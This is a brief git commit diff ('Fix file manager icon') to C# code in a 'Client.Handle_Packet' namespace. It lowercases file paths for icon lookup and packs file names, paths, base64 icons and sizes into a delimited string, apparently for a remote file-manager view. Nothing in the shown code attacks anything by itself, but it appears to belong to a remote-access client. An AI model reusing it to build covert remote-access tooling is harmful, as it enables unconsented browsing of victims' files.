Fix file manager icon

This commit is contained in:
NYAN CAT 2019-06-03 08:33:30 +03:00
parent c16203548f
commit 9fe8a58fef

View File

@ -58,7 +58,7 @@ namespace Client.Handle_Packet
{
using (MemoryStream ms = new MemoryStream())
{
GetIcon(file).Save(ms, ImageFormat.Png);
GetIcon(file.ToLower()).Save(ms, ImageFormat.Png);
sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length.ToString() + "-=>");
}
}